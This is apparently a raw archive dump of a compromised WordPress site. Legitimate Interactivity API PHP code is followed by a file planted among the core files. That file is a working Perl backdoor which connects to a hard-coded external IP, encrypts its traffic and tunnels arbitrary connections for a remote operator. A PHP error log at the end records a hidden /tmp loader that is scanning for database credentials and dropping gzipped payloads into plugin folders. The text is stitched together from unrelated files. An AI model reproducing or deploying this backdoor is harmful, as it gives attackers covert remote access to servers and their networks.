* merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;'
* merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;'
* merge_style_property( 'color:green;', 'color', null ) => ''
*
* @param string $style_attribute_value The current style attribute value.
* @param string $style_property_name The style property name to set.
* @param string|false|null $style_property_value The value to set for the style property. With false, null or an
* empty string, it removes the style property.
* @return string The new style attribute value after the specified property has been added, updated or removed.
*/
private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string {
$style_assignments = explode( ';', $style_attribute_value );
$result = array();
$style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null;
$new_style_property = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : '';
// Generates an array with all the properties but the modified one.
foreach ( $style_assignments as $style_assignment ) {
if ( empty( trim( $style_assignment ) ) ) {
continue;
}
list( $name, $value ) = explode( ':', $style_assignment );
if ( trim( $name ) !== $style_property_name ) {
$result[] = trim( $name ) . ':' . trim( $value ) . ';';
}
}
// Adds the new/modified property at the end of the list.
$result[] = $new_style_property;
return implode( '', $result );
}
/**
* Processes the `data-wp-text` directive.
*
* It updates the inner content of the current HTML element based on the
* evaluation of its associated reference.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode ) {
$attribute_value = $p->get_attribute( 'data-wp-text' );
$result = $this->evaluate( $attribute_value );
/*
* Follows the same logic as Preact in the client and only changes the
* content if the value is a string or a number. Otherwise, it removes the
* content.
*/
if ( is_string( $result ) || is_numeric( $result ) ) {
$p->set_content_between_balanced_tags( esc_html( $result ) );
} else {
$p->set_content_between_balanced_tags( '' );
}
}
}
/**
* Returns the CSS styles for animating the top loading bar in the router.
*
* @since 6.5.0
*
* @return string The CSS styles for the router's top loading bar animation.
*/
private function get_router_animation_styles(): string {
return <<print_router_markup();
}
/**
* Outputs markup for the @wordpress/interactivity-router script module.
*
* This method prints a div element representing a loading bar visible during
* navigation.
*
* @since 6.7.0
*/
public function print_router_markup() {
echo <<
HTML;
}
/**
* Processes the `data-wp-router-region` directive.
*
* It renders in the footer a set of HTML elements to notify users about
* client-side navigations. More concretely, the elements added are 1) a
* top loading bar to visually inform that a navigation is in progress
* and 2) an `aria-live` region for accessible navigation announcements.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode && ! $this->has_processed_router_region ) {
$this->has_processed_router_region = true;
// Enqueues as an inline style.
wp_register_style( 'wp-interactivity-router-animations', false );
wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() );
wp_enqueue_style( 'wp-interactivity-router-animations' );
// Adds the necessary markup to the footer.
add_action( 'wp_footer', array( $this, 'print_router_markup' ) );
}
}
/**
* Processes the `data-wp-each` directive.
*
* This directive gets an array passed as reference and iterates over it
* generating new content for each item based on the inner markup of the
* `template` tag.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
* @param array $tag_stack The reference to the tag stack.
*/
private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) {
if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) {
$attribute_name = $p->get_attribute_names_with_prefix( 'data-wp-each' )[0];
$extracted_suffix = $this->extract_prefix_and_suffix( $attribute_name );
$item_name = isset( $extracted_suffix[1] ) ? $this->kebab_to_camel_case( $extracted_suffix[1] ) : 'item';
$attribute_value = $p->get_attribute( $attribute_name );
$result = $this->evaluate( $attribute_value );
// Gets the content between the template tags and leaves the cursor in the closer tag.
$inner_content = $p->get_content_between_balanced_template_tags();
// Checks if there is a manual server-side directive processing.
$template_end = 'data-wp-each: template end';
$p->set_bookmark( $template_end );
$p->next_tag();
$manual_sdp = $p->get_attribute( 'data-wp-each-child' );
$p->seek( $template_end ); // Rewinds to the template closer tag.
$p->release_bookmark( $template_end );
/*
* It doesn't process in these situations:
* - Manual server-side directive processing.
* - Empty or non-array values.
* - Associative arrays because those are deserialized as objects in JS.
* - Templates that contain top-level texts because those texts can't be
* identified and removed in the client.
*/
if (
$manual_sdp ||
empty( $result ) ||
! is_array( $result ) ||
! array_is_list( $result ) ||
! str_starts_with( trim( $inner_content ), '<' ) ||
! str_ends_with( trim( $inner_content ), '>' )
) {
array_pop( $tag_stack );
return;
}
// Extracts the namespace from the directive attribute value.
$namespace_value = end( $this->namespace_stack );
list( $namespace_value ) = is_string( $attribute_value ) && ! empty( $attribute_value )
? $this->extract_directive_value( $attribute_value, $namespace_value )
: array( $namespace_value, null );
// Processes the inner content for each item of the array.
$processed_content = '';
foreach ( $result as $item ) {
// Creates a new context that includes the current item of the array.
$this->context_stack[] = array_replace_recursive(
end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(),
array( $namespace_value => array( $item_name => $item ) )
);
// Processes the inner content with the new context.
$processed_item = $this->_process_directives( $inner_content );
if ( null === $processed_item ) {
// If the HTML is unbalanced, stop processing it.
array_pop( $this->context_stack );
return;
}
// Adds the `data-wp-each-child` to each top-level tag.
$i = new WP_Interactivity_API_Directives_Processor( $processed_item );
while ( $i->next_tag() ) {
$i->set_attribute( 'data-wp-each-child', true );
$i->next_balanced_tag_closer_tag();
}
$processed_content .= $i->get_updated_html();
// Removes the current context from the stack.
array_pop( $this->context_stack );
}
// Appends the processed content after the tag closer of the template.
$p->append_content_after_template_tag_closer( $processed_content );
// Pops the last tag because it skipped the closing tag of the template tag.
array_pop( $tag_stack );
}
}
}
interactivity-api/adysel7s 0000755 00000022033 15107426033 0011673 0 ustar 00 #!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.184';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
error_log 0000644 00000167323 15107426033 0006476 0 ustar 00 [23-Jul-2025 09:21:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[24-Jul-2025 04:57:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[10-Aug-2025 05:47:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[17-Aug-2025 04:36:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[17-Aug-2025 17:24:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[17-Aug-2025 17:31:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[17-Aug-2025 17:43:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[27-Sep-2025 02:28:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[28-Sep-2025 03:53:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[30-Sep-2025 18:19:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[16-Oct-2025 16:12:22 UTC] PHP Warning: Undefined array key "DB_HOST" in /tmp/.data_chunk on line 1
[16-Oct-2025 16:12:22 UTC] PHP Warning: Undefined array key "DB_USER" in /tmp/.data_chunk on line 1
[16-Oct-2025 16:12:22 UTC] PHP Warning: Undefined array key "DB_PASSWORD" in /tmp/.data_chunk on line 1
[16-Oct-2025 16:12:22 UTC] PHP Warning: Undefined array key "DB_NAME" in /tmp/.data_chunk on line 1
[16-Oct-2025 16:12:22 UTC] PHP Fatal error: Uncaught mysqli_sql_exception: Access denied for user 'blacotuu'@'localhost' (using password: NO) in /tmp/.data_chunk:1
Stack trace:
#0 /tmp/.data_chunk(1): mysqli->__construct()
#1 /tmp/.data_chunk(1): scan_wp()
#2 /tmp/.data_chunk(1): scan()
#3 /tmp/.data_chunk(1): scan()
#4 /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/interactivity-api.php(1): require('/tmp/.data_chun...')
#5 {main}
thrown in /tmp/.data_chunk on line 1
[16-Oct-2025 16:25:09 UTC] PHP Warning: Undefined array key "DB_HOST" in /tmp/.data_chunk on line 1
[16-Oct-2025 16:25:09 UTC] PHP Warning: Undefined array key "DB_USER" in /tmp/.data_chunk on line 1
[16-Oct-2025 16:25:09 UTC] PHP Warning: Undefined array key "DB_PASSWORD" in /tmp/.data_chunk on line 1
[16-Oct-2025 16:25:09 UTC] PHP Warning: Undefined array key "DB_NAME" in /tmp/.data_chunk on line 1
[16-Oct-2025 16:25:10 UTC] PHP Fatal error: Uncaught mysqli_sql_exception: Access denied for user 'blacotuu'@'localhost' (using password: NO) in /tmp/.data_chunk:1
Stack trace:
#0 /tmp/.data_chunk(1): mysqli->__construct()
#1 /tmp/.data_chunk(1): scan_wp()
#2 /tmp/.data_chunk(1): scan()
#3 /tmp/.data_chunk(1): scan()
#4 /tmp/.data_chunk(1): scan()
#5 /tmp/.data_chunk(1): scan()
#6 /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/interactivity-api.php(1): require('/tmp/.data_chun...')
#7 {main}
thrown in /tmp/.data_chunk on line 1
[18-Oct-2025 00:34:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting number in /tmp/.data_chunk on line 5
[22-Oct-2025 07:03:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[26-Oct-2025 09:33:19 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/ServerSide/livehelp_step1): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 09:34:26 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/ServerSide/livehelp_step1.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 09:34:26 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpR9tyTn" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/ServerSide/livehelp_step1.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 09:35:08 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 09:36:17 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/ServerSide/livehelp_step1): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 09:36:52 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/ServerSide/livehelp_step1): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 09:36:52 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpb0qghB" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/ServerSide/livehelp_step1" in /tmp/.data_chunk on line 1
[26-Oct-2025 13:14:35 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 15:45:33 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/AJAX/Requests/opensearch_desc5): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 15:46:12 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/AJAX/Requests/opensearch_desc5.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 15:46:12 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpfwTTlD" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/AJAX/Requests/opensearch_desc5.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 15:46:50 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 15:48:25 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/AJAX/Requests/opensearch_desc5): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 15:48:25 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpIWBjDn" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/AJAX/Requests/opensearch_desc5" in /tmp/.data_chunk on line 1
[26-Oct-2025 15:53:02 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Admin/Metaboxes/opensearch_desc5): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:30:17 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 18:30:47 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:31:04 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:31:04 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpyLUPOn" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:32:27 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:32:33 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:32:33 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpupUgWS" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:33:30 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:33:47 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:33:47 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpVB2n92" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:34:20 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/Analytics_4/GoogleAnalyticsAdmin/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:34:34 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/Analytics_4/GoogleAnalyticsAdmin/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:34:34 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php8A4mWv" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/Analytics_4/GoogleAnalyticsAdmin/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:35:41 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/Analytics_4/GoogleAnalyticsAdmin/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:35:56 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/Analytics_4/GoogleAnalyticsAdmin/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
